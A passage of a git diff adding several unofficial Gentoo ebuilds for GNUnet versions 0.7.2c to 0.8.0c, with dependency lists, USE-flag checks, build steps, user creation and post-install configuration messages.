eutils autotools + +S="${WORKDIR}/GNUnet-${PV}" +DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network." +HOMEPAGE="http://gnunet.org/" +SRC_URI="http://gnunet.org/download/GNUnet-${PV}.tar.bz2" +#tests don't work +RESTRICT="test" + +IUSE="ipv6 mysql sqlite ncurses nls gtk" +KEYWORDS="~amd64 ~ppc ~sparc ~x86" +LICENSE="GPL-2" +SLOT="0" + +DEPEND=">=dev-libs/libgcrypt-1.2.0 + >=media-libs/libextractor-0.5.13 + >=dev-libs/gmp-4.0.0 + sys-libs/zlib + net-misc/curl + gtk? ( >=x11-libs/gtk+-2.6.10 ) + sys-apps/sed + >=dev-scheme/guile-1.8.0 + ncurses? ( sys-libs/ncurses ) + mysql? ( >=virtual/mysql-4.0 ) + sqlite? ( >=dev-db/sqlite-3.0.8 ) + nls? ( sys-devel/gettext )" + +pkg_setup() { + if ! use mysql && ! use sqlite; then + einfo + einfo "You need to specify at least one of 'mysql' or 'sqlite'" + einfo "USE flag in order to have properly installed gnunet" + einfo + die "Invalid USE flag set" + fi +} + +pkg_preinst() { + enewgroup gnunetd || die "Problem adding gnunetd group" + enewuser gnunetd -1 -1 /dev/null gnunetd || die "Problem adding gnunetd user" +} + +src_unpack() { + unpack ${A} + cd ${S} + + # make mysql default sqstore if we do not compile sql support + # (bug #107330) + ! use sqlite && \ + sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \ + contrib/config-daemon.in + + # we do not want to built gtk support with USE=-gtk + if ! use gtk ; then + sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac + fi + + AT_M4DIR="${S}/m4" eautoreconf +} + +src_compile() { + local myconf + + if use ipv6; then + if use amd64; then + ewarn "ipv6 in GNUnet does not currently work with amd64 and has been disabled" + else + myconf="${myconf} --enable-ipv6" + fi + fi + + use mysql || myconf="${myconf} --without-mysql" + + econf \ + $(use_with sqlite) \ + $(use_enable nls) \ + $(use_enable ncurses) \ + $(use_enable guile) \ + ${myconf} || die "econf failed" + + emake -j1 || die "emake failed" +} + +src_install() { + make install DESTDIR=${D} || die "make install failed" + dodoc ABOUT-NLS AUTHORS ChangeLog COPYING INSTALL NEWS PLATFORMS README README.fr UPDATING + insinto /etc + newins contrib/gnunet.root gnunet.conf + docinto contrib + dodoc contrib/* + newinitd ${FILESDIR}/${PN}-2 gnunet + dodir /var/lib/gnunet + chown gnunetd:gnunetd ${D}/var/lib/gnunet +} + +pkg_postinst() { + # make sure permissions are ok + chown -R gnunetd:gnunetd /var/lib/gnunet + + use ipv6 && ewarn "ipv6 support is -very- experimental and prone to bugs" + einfo + einfo "To configure" + einfo " 1) Add user(s) to the gnunetd group" + einfo " 2) Run 'gnunet-setup' to generate your client config file" + einfo " 3) Run gnunet-setup -d to generate a server config file" + einfo " 4) Optionally copy the .gnunet/gnunetd.conf into /etc and" + einfo "\tuse as a global server config file:" + einfo "$ gnunet-setup -d" + einfo "# cp ~/.gnunet/gnunetd.conf /etc/" + einfo +} diff --git a/net-p2p/gnunet/gnunet-0.7.2c.ebuild b/net-p2p/gnunet/gnunet-0.7.2c.ebuild new file mode 100644 index 00000000..16b65f93 --- /dev/null +++ b/net-p2p/gnunet/gnunet-0.7.2c.ebuild @@ -0,0 +1,121 @@ +# Copyright 1999-2007 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ +# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/ +# This ebuild is a small modification of the official gnunet ebuild + +WANT_AUTOCONF=2.5 +WANT_AUTOMAKE=1.9 + +inherit eutils autotools + +S="${WORKDIR}/GNUnet-${PV}" +DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network." +HOMEPAGE="http://gnunet.org/" +SRC_URI="http://gnunet.org/download/GNUnet-${PV}.tar.bz2" +#tests don't work +RESTRICT="test" + +IUSE="ipv6 mysql sqlite ncurses nls gtk" +KEYWORDS="~amd64 ~ppc ~sparc ~x86" +LICENSE="GPL-2" +SLOT="0" + +DEPEND=">=dev-libs/libgcrypt-1.2.0 + >=media-libs/libextractor-0.5.13 + >=dev-libs/gmp-4.0.0 + sys-libs/zlib + net-misc/curl + gtk? ( >=x11-libs/gtk+-2.6.10 ) + sys-apps/sed + >=dev-scheme/guile-1.8.0 + ncurses? ( sys-libs/ncurses ) + mysql? ( >=virtual/mysql-4.0 ) + sqlite? ( >=dev-db/sqlite-3.0.8 ) + nls? ( sys-devel/gettext ) + net-libs/libmicrohttpd" + +pkg_setup() { + if ! use mysql && ! use sqlite; then + einfo + einfo "You need to specify at least one of 'mysql' or 'sqlite'" + einfo "USE flag in order to have properly installed gnunet" + einfo + die "Invalid USE flag set" + fi +} + +pkg_preinst() { + enewgroup gnunetd || die "Problem adding gnunetd group" + enewuser gnunetd -1 -1 /dev/null gnunetd || die "Problem adding gnunetd user" +} + +src_unpack() { + unpack ${A} + cd ${S} + + # make mysql default sqstore if we do not compile sql support + # (bug #107330) + ! use sqlite && \ + sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \ + contrib/config-daemon.in + + # we do not want to built gtk support with USE=-gtk + if ! use gtk ; then + sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac + fi + + AT_M4DIR="${S}/m4" eautoreconf +} + +src_compile() { + local myconf + + if use ipv6; then + if use amd64; then + ewarn "ipv6 in GNUnet does not currently work with amd64 and has been disabled" + else + myconf="${myconf} --enable-ipv6" + fi + fi + + use mysql || myconf="${myconf} --without-mysql" + + econf \ + $(use_with sqlite) \ + $(use_enable nls) \ + $(use_enable ncurses) \ + $(use_enable guile) \ + ${myconf} || die "econf failed" + + emake -j1 || die "emake failed" +} + +src_install() { + make install DESTDIR=${D} || die "make install failed" + dodoc ABOUT-NLS AUTHORS ChangeLog COPYING INSTALL NEWS PLATFORMS README README.fr UPDATING + insinto /etc + newins contrib/gnunet.root gnunet.conf + docinto contrib + dodoc contrib/* + newinitd ${FILESDIR}/${PN}-2 gnunet + dodir /var/lib/gnunet + chown gnunetd:gnunetd ${D}/var/lib/gnunet +} + +pkg_postinst() { + # make sure permissions are ok + chown -R gnunetd:gnunetd /var/lib/gnunet + + use ipv6 && ewarn "ipv6 support is -very- experimental and prone to bugs" + einfo + einfo "To configure" + einfo " 1) Add user(s) to the gnunetd group" + einfo " 2) Run 'gnunet-setup' to generate your client config file" + einfo " 3) Run gnunet-setup -d to generate a server config file" + einfo " 4) Optionally copy the .gnunet/gnunetd.conf into /etc and" + einfo "\tuse as a global server config file:" + einfo "$ gnunet-setup -d" + einfo "# cp ~/.gnunet/gnunetd.conf /etc/" + einfo +} diff --git a/net-p2p/gnunet/gnunet-0.7.3.ebuild b/net-p2p/gnunet/gnunet-0.7.3.ebuild new file mode 100644 index 00000000..5bea2021 --- /dev/null +++ b/net-p2p/gnunet/gnunet-0.7.3.ebuild @@ -0,0 +1,116 @@ +# Copyright 1999-2007 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ +# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/ +# This ebuild is a small modification of the official gnunet ebuild + +WANT_AUTOCONF="latest" +WANT_AUTOMAKE="latest" + +inherit eutils autotools + +S="${WORKDIR}/GNUnet-${PV}" +DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network." +HOMEPAGE="http://gnunet.org/" +SRC_URI="http://gnunet.org/download/GNUnet-${PV}.tar.bz2" +#tests don't work +RESTRICT="test" + +IUSE="ipv6 mysql sqlite ncurses nls gtk" +KEYWORDS="~amd64 ~ppc ~sparc ~x86" +LICENSE="GPL-2" +SLOT="0" + +DEPEND=">=dev-libs/libgcrypt-1.2.0 + >=media-libs/libextractor-0.5.18a + >=dev-libs/gmp-4.0.0 + sys-libs/zlib + net-misc/curl + gtk? ( >=x11-libs/gtk+-2.6.10 ) + sys-apps/sed + >=dev-scheme/guile-1.8.0 + ncurses? ( sys-libs/ncurses ) + mysql? ( >=virtual/mysql-4.0 ) + sqlite? ( >=dev-db/sqlite-3.0.8 ) + nls? ( sys-devel/gettext )" + +pkg_setup() { + if ! use mysql && ! use sqlite; then + einfo + einfo "You need to specify at least one of 'mysql' or 'sqlite'" + einfo "USE flag in order to have properly installed gnunet" + einfo + die "Invalid USE flag set" + fi +} + +pkg_preinst() { + enewgroup gnunetd || die "Problem adding gnunetd group" + enewuser gnunetd -1 -1 /dev/null gnunetd || die "Problem adding gnunetd user" +} + +src_unpack() { + unpack ${A} + cd ${S} + + # make mysql default sqstore if we do not compile sql support + # (bug #107330) + ! use sqlite && \ + sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \ + contrib/config-daemon.in + + # we do not want to built gtk support with USE=-gtk + if ! use gtk ; then + sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac + fi + + AT_M4DIR="${S}/m4" eautoreconf +} + +src_compile() { + local myconf + + if use ipv6; then + if use amd64; then + ewarn "ipv6 in GNUnet does not currently work with amd64 and has been disabled" + else + myconf="${myconf} --enable-ipv6" + fi + fi + + use mysql || myconf="${myconf} --without-mysql" + + econf \ + $(use_with sqlite) \ + $(use_enable nls) \ + $(use_enable ncurses) \ + $(use_enable guile) \ + ${myconf} || die "econf failed" + + emake -j1 || die "emake failed" +} + +src_install() { + make install DESTDIR=${D} || die "make install failed" + dodoc ABOUT-NLS AUTHORS ChangeLog COPYING INSTALL NEWS PLATFORMS README README.fr UPDATING + insinto /etc + newins contrib/gnunet.root gnunet.conf + docinto contrib + dodoc contrib/* + newinitd ${FILESDIR}/${PN}-2 gnunet + dodir /var/lib/gnunet + chown gnunetd:gnunetd ${D}/var/lib/gnunet +} + +pkg_postinst() { + # make sure permissions are ok + chown -R gnunetd:gnunetd /var/lib/gnunet + + use ipv6 && ewarn "ipv6 support is -very- experimental and prone to bugs" + einfo + einfo "To configure" + einfo " 1) Add user(s) to the gnunetd group" + einfo " 2) Run 'gnunet-setup' to generate your client config file" + einfo " 3) Run gnunet-setup -d as root to generate a server config file" + einfo +} diff --git a/net-p2p/gnunet/gnunet-0.8.0.ebuild b/net-p2p/gnunet/gnunet-0.8.0.ebuild new file mode 100644 index 00000000..82f8957a --- /dev/null +++ b/net-p2p/gnunet/gnunet-0.8.0.ebuild @@ -0,0 +1,107 @@ +# Copyright 1999-2008 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ +# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/ +# This ebuild is a small modification of the official gnunet ebuild + +inherit eutils autotools + +MY_PV=${PV/_pre/pre} +S="${WORKDIR}/GNUnet-${MY_PV}" +DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network." +HOMEPAGE="http://gnunet.org/" +SRC_URI="http://gnunet.org/download/GNUnet-${MY_PV}.tar.bz2" +#tests don't work +RESTRICT="test" + +IUSE="ipv6 mysql sqlite ncurses nls gtk" +KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86" +LICENSE="GPL-2" +SLOT="0" + +DEPEND=">=dev-libs/libgcrypt-1.2.0 + >=media-libs/libextractor-0.5.18a + >=dev-libs/gmp-4.0.0 + gnome-base/libglade + sys-libs/zlib + net-misc/curl + gtk? ( >=x11-libs/gtk+-2.6.10 ) + sys-apps/sed + >=dev-scheme/guile-1.8.0 + ncurses? ( sys-libs/ncurses ) + mysql? ( >=virtual/mysql-4.0 ) + sqlite? ( >=dev-db/sqlite-3.0.8 ) + nls? ( sys-devel/gettext )" + +pkg_setup() { + if ! use mysql && ! use sqlite; then + einfo + einfo "You need to specify at least one of 'mysql' or 'sqlite'" + einfo "USE flag in order to have properly installed gnunet" + einfo + die "Invalid USE flag set" + fi +} + +pkg_preinst() { + enewgroup gnunetd || die "Problem adding gnunetd group" + enewuser gnunetd -1 -1 /dev/null gnunetd || die "Problem adding gnunetd user" +} + +src_unpack() { + unpack ${A} + cd "${S}" + + # make mysql default sqstore if we do not compile sql support + # (bug #107330) + ! use sqlite && \ + sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \ + contrib/config-daemon.in + + # we do not want to built gtk support with USE=-gtk + if ! use gtk ; then + sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac + fi + + AT_M4DIR="${S}/m4" eautoreconf +} + +src_compile() { + local myconf + + use mysql || myconf="${myconf} --without-mysql" + + econf \ + $(use_with sqlite) \ + $(use_enable ipv6) \ + $(use_enable nls) \ + $(use_enable ncurses) \ + ${myconf} || die "econf failed" + + emake -j1 || die "emake failed" +} + +src_install() { + emake DESTDIR="${D}" -j1 install || die "make install failed" + dodoc AUTHORS ChangeLog INSTALL NEWS PLATFORMS README README.fr UPDATING + insinto /etc + newins contrib/gnunet.root gnunet.conf + docinto contrib + dodoc contrib/* + newinitd "${FILESDIR}"/${PN}.initd gnunet + dodir /var/lib/gnunet + chown gnunetd:gnunetd "${D}"/var/lib/gnunet +} + +pkg_postinst() { + # make sure permissions are ok + chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet + + use ipv6 && ewarn "ipv6 support is -very- experimental and prone to bugs" + einfo + einfo "To configure" + einfo " 1) Add user(s) to the gnunetd group" + einfo " 2) Run 'gnunet-setup' to generate your client config file" + einfo " 3) Run gnunet-setup -d as root to generate a server config file" + einfo +} diff --git a/net-p2p/gnunet/gnunet-0.8.0_pre0.ebuild b/net-p2p/gnunet/gnunet-0.8.0_pre0.ebuild new file mode 100644 index 00000000..82f8957a --- /dev/null +++ b/net-p2p/gnunet/gnunet-0.8.0_pre0.ebuild @@ -0,0 +1,107 @@ +# Copyright 1999-2008 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ +# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/ +# This ebuild is a small modification of the official gnunet ebuild + +inherit eutils autotools + +MY_PV=${PV/_pre/pre} +S="${WORKDIR}/GNUnet-${MY_PV}" +DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network." +HOMEPAGE="http://gnunet.org/" +SRC_URI="http://gnunet.org/download/GNUnet-${MY_PV}.tar.bz2" +#tests don't work +RESTRICT="test" + +IUSE="ipv6 mysql sqlite ncurses nls gtk" +KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86" +LICENSE="GPL-2" +SLOT="0" + +DEPEND=">=dev-libs/libgcrypt-1.2.0 + >=media-libs/libextractor-0.5.18a + >=dev-libs/gmp-4.0.0 + gnome-base/libglade + sys-libs/zlib + net-misc/curl + gtk? ( >=x11-libs/gtk+-2.6.10 ) + sys-apps/sed + >=dev-scheme/guile-1.8.0 + ncurses? ( sys-libs/ncurses ) + mysql? ( >=virtual/mysql-4.0 ) + sqlite? ( >=dev-db/sqlite-3.0.8 ) + nls? ( sys-devel/gettext )" + +pkg_setup() { + if ! use mysql && ! use sqlite; then + einfo + einfo "You need to specify at least one of 'mysql' or 'sqlite'" + einfo "USE flag in order to have properly installed gnunet" + einfo + die "Invalid USE flag set" + fi +} + +pkg_preinst() { + enewgroup gnunetd || die "Problem adding gnunetd group" + enewuser gnunetd -1 -1 /dev/null gnunetd || die "Problem adding gnunetd user" +} + +src_unpack() { + unpack ${A} + cd "${S}" + + # make mysql default sqstore if we do not compile sql support + # (bug #107330) + ! use sqlite && \ + sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \ + contrib/config-daemon.in + + # we do not want to built gtk support with USE=-gtk + if ! use gtk ; then + sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac + fi + + AT_M4DIR="${S}/m4" eautoreconf +} + +src_compile() { + local myconf + + use mysql || myconf="${myconf} --without-mysql" + + econf \ + $(use_with sqlite) \ + $(use_enable ipv6) \ + $(use_enable nls) \ + $(use_enable ncurses) \ + ${myconf} || die "econf failed" + + emake -j1 || die "emake failed" +} + +src_install() { + emake DESTDIR="${D}" -j1 install || die "make install failed" + dodoc AUTHORS ChangeLog INSTALL NEWS PLATFORMS README README.fr UPDATING + insinto /etc + newins contrib/gnunet.root gnunet.conf + docinto contrib + dodoc contrib/* + newinitd "${FILESDIR}"/${PN}.initd gnunet + dodir /var/lib/gnunet + chown gnunetd:gnunetd "${D}"/var/lib/gnunet +} + +pkg_postinst() { + # make sure permissions are ok + chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet + + use ipv6 && ewarn "ipv6 support is -very- experimental and prone to bugs" + einfo + einfo "To configure" + einfo " 1) Add user(s) to the gnunetd group" + einfo " 2) Run 'gnunet-setup' to generate your client config file" + einfo " 3) Run gnunet-setup -d as root to generate a server config file" + einfo +} diff --git a/net-p2p/gnunet/gnunet-0.8.0_pre1.ebuild b/net-p2p/gnunet/gnunet-0.8.0_pre1.ebuild new file mode 100644 index 00000000..82f8957a --- /dev/null +++ b/net-p2p/gnunet/gnunet-0.8.0_pre1.ebuild @@ -0,0 +1,107 @@ +# Copyright 1999-2008 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ +# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/ +# This ebuild is a small modification of the official gnunet ebuild + +inherit eutils autotools + +MY_PV=${PV/_pre/pre} +S="${WORKDIR}/GNUnet-${MY_PV}" +DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network." +HOMEPAGE="http://gnunet.org/" +SRC_URI="http://gnunet.org/download/GNUnet-${MY_PV}.tar.bz2" +#tests don't work +RESTRICT="test" + +IUSE="ipv6 mysql sqlite ncurses nls gtk" +KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86" +LICENSE="GPL-2" +SLOT="0" + +DEPEND=">=dev-libs/libgcrypt-1.2.0 + >=media-libs/libextractor-0.5.18a + >=dev-libs/gmp-4.0.0 + gnome-base/libglade + sys-libs/zlib + net-misc/curl + gtk? ( >=x11-libs/gtk+-2.6.10 ) + sys-apps/sed + >=dev-scheme/guile-1.8.0 + ncurses? ( sys-libs/ncurses ) + mysql? ( >=virtual/mysql-4.0 ) + sqlite? ( >=dev-db/sqlite-3.0.8 ) + nls? ( sys-devel/gettext )" + +pkg_setup() { + if ! use mysql && ! use sqlite; then + einfo + einfo "You need to specify at least one of 'mysql' or 'sqlite'" + einfo "USE flag in order to have properly installed gnunet" + einfo + die "Invalid USE flag set" + fi +} + +pkg_preinst() { + enewgroup gnunetd || die "Problem adding gnunetd group" + enewuser gnunetd -1 -1 /dev/null gnunetd || die "Problem adding gnunetd user" +} + +src_unpack() { + unpack ${A} + cd "${S}" + + # make mysql default sqstore if we do not compile sql support + # (bug #107330) + ! use sqlite && \ + sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \ + contrib/config-daemon.in + + # we do not want to built gtk support with USE=-gtk + if ! use gtk ; then + sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac + fi + + AT_M4DIR="${S}/m4" eautoreconf +} + +src_compile() { + local myconf + + use mysql || myconf="${myconf} --without-mysql" + + econf \ + $(use_with sqlite) \ + $(use_enable ipv6) \ + $(use_enable nls) \ + $(use_enable ncurses) \ + ${myconf} || die "econf failed" + + emake -j1 || die "emake failed" +} + +src_install() { + emake DESTDIR="${D}" -j1 install || die "make install failed" + dodoc AUTHORS ChangeLog INSTALL NEWS PLATFORMS README README.fr UPDATING + insinto /etc + newins contrib/gnunet.root gnunet.conf + docinto contrib + dodoc contrib/* + newinitd "${FILESDIR}"/${PN}.initd gnunet + dodir /var/lib/gnunet + chown gnunetd:gnunetd "${D}"/var/lib/gnunet +} + +pkg_postinst() { + # make sure permissions are ok + chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet + + use ipv6 && ewarn "ipv6 support is -very- experimental and prone to bugs" + einfo + einfo "To configure" + einfo " 1) Add user(s) to the gnunetd group" + einfo " 2) Run 'gnunet-setup' to generate your client config file" + einfo " 3) Run gnunet-setup -d as root to generate a server config file" + einfo +} diff --git a/net-p2p/gnunet/gnunet-0.8.0a.ebuild b/net-p2p/gnunet/gnunet-0.8.0a.ebuild new file mode 100644 index 00000000..9bfc2022 --- /dev/null +++ b/net-p2p/gnunet/gnunet-0.8.0a.ebuild @@ -0,0 +1,106 @@ +# Copyright 1999-2008 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ +# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/ +# This ebuild is a small modification of the official gnunet ebuild + +inherit eutils autotools + +S="${WORKDIR}/GNUnet-${PV}" +DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network." +HOMEPAGE="http://gnunet.org/" +SRC_URI="http://gnunet.org/download/GNUnet-${PV}.tar.bz2" +#tests don't work +RESTRICT="test" + +IUSE="ipv6 mysql sqlite ncurses nls gtk" +KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86" +LICENSE="GPL-2" +SLOT="0" + +DEPEND=">=dev-libs/libgcrypt-1.2.0 + >=media-libs/libextractor-0.5.18a + >=dev-libs/gmp-4.0.0 + gnome-base/libglade + sys-libs/zlib + net-misc/curl + gtk? ( >=x11-libs/gtk+-2.6.10 ) + sys-apps/sed + >=dev-scheme/guile-1.8.0 + ncurses? ( sys-libs/ncurses ) + mysql? ( >=virtual/mysql-4.0 ) + sqlite? ( >=dev-db/sqlite-3.0.8 ) + nls? ( sys-devel/gettext )" + +pkg_setup() { + if ! use mysql && ! use sqlite; then + einfo + einfo "You need to specify at least one of 'mysql' or 'sqlite'" + einfo "USE flag in order to have properly installed gnunet" + einfo + die "Invalid USE flag set" + fi +} + +pkg_preinst() { + enewgroup gnunetd || die "Problem adding gnunetd group" + enewuser gnunetd -1 -1 /dev/null gnunetd || die "Problem adding gnunetd user" +} + +src_unpack() { + unpack ${A} + cd "${S}" + + # make mysql default sqstore if we do not compile sql support + # (bug #107330) + ! use sqlite && \ + sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \ + contrib/config-daemon.in + + # we do not want to built gtk support with USE=-gtk + if ! use gtk ; then + sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac + fi + + AT_M4DIR="${S}/m4" eautoreconf +} + +src_compile() { + local myconf + + use mysql || myconf="${myconf} --without-mysql" + + econf \ + $(use_with sqlite) \ + $(use_enable ipv6) \ + $(use_enable nls) \ + $(use_enable ncurses) \ + ${myconf} || die "econf failed" + + emake -j1 || die "emake failed" +} + +src_install() { + emake DESTDIR="${D}" -j1 install || die "make install failed" + dodoc AUTHORS ChangeLog INSTALL NEWS PLATFORMS README README.fr UPDATING + insinto /etc + newins contrib/gnunet.root gnunet.conf + docinto contrib + dodoc contrib/* + newinitd "${FILESDIR}"/${PN}.initd gnunet + dodir /var/lib/gnunet + chown gnunetd:gnunetd "${D}"/var/lib/gnunet +} + +pkg_postinst() { + # make sure permissions are ok + chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet + + use ipv6 && ewarn "ipv6 support is -very- experimental and prone to bugs" + einfo + einfo "To configure" + einfo " 1) Add user(s) to the gnunetd group" + einfo " 2) Run 'gnunet-setup' to generate your client config file" + einfo " 3) Run gnunet-setup -d as root to generate a server config file" + einfo +} diff --git a/net-p2p/gnunet/gnunet-0.8.0b.ebuild b/net-p2p/gnunet/gnunet-0.8.0b.ebuild new file mode 100644 index 00000000..b3115d1f --- /dev/null +++ b/net-p2p/gnunet/gnunet-0.8.0b.ebuild @@ -0,0 +1,107 @@ +# Copyright 1999-2008 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ +# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/ +# This ebuild is a small modification of the official gnunet ebuild + +inherit eutils autotools + +S="${WORKDIR}/GNUnet-${PV}" +DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network." +HOMEPAGE="http://gnunet.org/" +SRC_URI="http://gnunet.org/download/GNUnet-${PV}.tar.bz2" +#tests don't work +RESTRICT="test" + +IUSE="ipv6 mysql sqlite ncurses nls gtk" +KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86" +LICENSE="GPL-2" +SLOT="0" + +DEPEND=">=dev-libs/libgcrypt-1.2.0 + >=media-libs/libextractor-0.5.20c + >=dev-libs/gmp-4.0.0 + gnome-base/libglade + sys-libs/zlib + net-misc/curl + gtk? ( >=x11-libs/gtk+-2.6.10 ) + sys-apps/sed + >=dev-scheme/guile-1.8.0 + ncurses? ( sys-libs/ncurses ) + mysql? ( >=virtual/mysql-4.0 ) + sqlite? ( >=dev-db/sqlite-3.0.8 ) + nls? ( sys-devel/gettext ) + >=sys-devel/libtool-2.2.4" + +pkg_setup() { + if ! use mysql && ! use sqlite; then + einfo + einfo "You need to specify at least one of 'mysql' or 'sqlite'" + einfo "USE flag in order to have properly installed gnunet" + einfo + die "Invalid USE flag set" + fi +} + +pkg_preinst() { + enewgroup gnunetd || die "Problem adding gnunetd group" + enewuser gnunetd -1 -1 /dev/null gnunetd || die "Problem adding gnunetd user" +} + +src_unpack() { + unpack ${A} + cd "${S}" + + # make mysql default sqstore if we do not compile sql support + # (bug #107330) + ! use sqlite && \ + sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \ + contrib/config-daemon.in + + # we do not want to built gtk support with USE=-gtk + if ! use gtk ; then + sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac + fi + + AT_M4DIR="${S}/m4" eautoreconf +} + +src_compile() { + local myconf + + use mysql || myconf="${myconf} --without-mysql" + + econf \ + $(use_with sqlite) \ + $(use_enable ipv6) \ + $(use_enable nls) \ + $(use_enable ncurses) \ + ${myconf} || die "econf failed" + + emake -j1 || die "emake failed" +} + +src_install() { + emake DESTDIR="${D}" -j1 install || die "make install failed" + dodoc AUTHORS ChangeLog INSTALL NEWS PLATFORMS README README.fr UPDATING + insinto /etc + newins contrib/gnunet.root gnunet.conf + docinto contrib + dodoc contrib/* + newinitd "${FILESDIR}"/${PN}.initd gnunet + dodir /var/lib/gnunet + chown gnunetd:gnunetd "${D}"/var/lib/gnunet +} + +pkg_postinst() { + # make sure permissions are ok + chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet + + use ipv6 && ewarn "ipv6 support is -very- experimental and prone to bugs" + einfo + einfo "To configure" + einfo " 1) Add user(s) to the gnunetd group" + einfo " 2) Run 'gnunet-setup' to generate your client config file" + einfo " 3) Run gnunet-setup -d as root to generate a server config file" + einfo +} diff --git a/net-p2p/gnunet/gnunet-0.8.0c.ebuild b/net-p2p/gnunet/gnunet-0.8.0c.ebuild new file mode 100644 index 00000000..c1914f5f --- /dev/null +++ b/net-p2p/gnunet/gnunet-0.8.0c.ebuild @@ -0,0 +1,108 @@ +# Copyright 1999-2009 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ +# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/ +# This ebuild is a small modification of the official gnunet ebuild + +inherit eutils autotools + +S="${WORKDIR}/GNUnet-${PV}" +DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network." +HOMEPAGE="http://gnunet.org/" +SRC_URI="http://gnunet.org/download/GNUnet-${PV}.tar.bz2" +#tests don't work +RESTRICT="test" + +IUSE="ipv6 mysql sqlite ncurses nls gtk" +KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86" +LICENSE="GPL-2" +SLOT="0" + +DEPEND=">=dev-libs/libgcrypt-1.2.0 + >=media-libs/libextractor-0.5.20c + >=net-libs/libmicrohttpd-0.4.0 + >=dev-libs/gmp-4.0.0 + gnome-base/libglade + sys-libs/zlib + net-misc/curl + gtk? ( >=x11-libs/gtk+-2.6.10 ) + sys-apps/sed + >=dev-scheme/guile-1.8.0 + ncurses? ( sys-libs/ncurses ) + mysql? ( >=virtual/mysql-4.0 ) + sqlite? ( >=dev-db/sqlite-3.0.8 ) + nls? ( sys-devel/gettext ) + >=sys-devel/libtool-2.2.4" + +pkg_setup() { + if ! use mysql && ! use sqlite; then + einfo + einfo "You need to specify at least one of 'mysql' or 'sqlite'" + einfo "USE flag in order to have properly installed gnunet" + einfo + die "Invalid USE flag set" + fi +} + +pkg_preinst() { + enewgroup gnunetd || die "Problem adding gnunetd group" + enewuser gnunetd -1 -1 /dev/null gnunetd || die "Problem adding gnunetd user" +} + +src_unpack() { + unpack ${A} + cd "${S}" + + # make mysql default sqstore if we do not compile sql support + # (bug #107330) + ! use sqlite && \ + sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \ + contrib/config-daemon.in + + # we do not want to built gtk support with USE=-gtk + if ! use gtk ; then + sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac + fi + + AT_M4DIR="${S}/m4" eautoreconf +} + +src_compile() { + local myconf + + use mysql || myconf="${myconf} --without-mysql" + + econf \ + $(use_with sqlite) \ + $(use_enable ipv6) \ + $(use_enable nls) \ + $(use_enable ncurses) \ + ${myconf} || die "econf failed" + + emake -j1 || die "emake failed" +} + +src_install() { + emake DESTDIR="${D}" -j1 install || die "make install failed" + dodoc AUTHORS ChangeLog INSTALL NEWS PLATFORMS README README.fr UPDATING + insinto /etc + doins contrib/gnunet.conf + docinto contrib + dodoc contrib/* + newinitd "${FILESDIR}"/${PN}.initd gnunet + dodir /var/lib/gnunet + chown gnunetd:gnunetd "${D}"/var/lib/gnunet +} + +pkg_postinst() { + # make sure permissions are ok + chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet + + use ipv6 && ewarn "ipv6 support is -very- experimental and prone to bugs" + einfo + einfo "To configure" + einfo " 1) Add user(s) to the gnunetd group" + einfo " 2) Run 'gnunet-setup' to generate your client config file" + einfo " 3) Run gnunet-setup -d as root to generate a server config 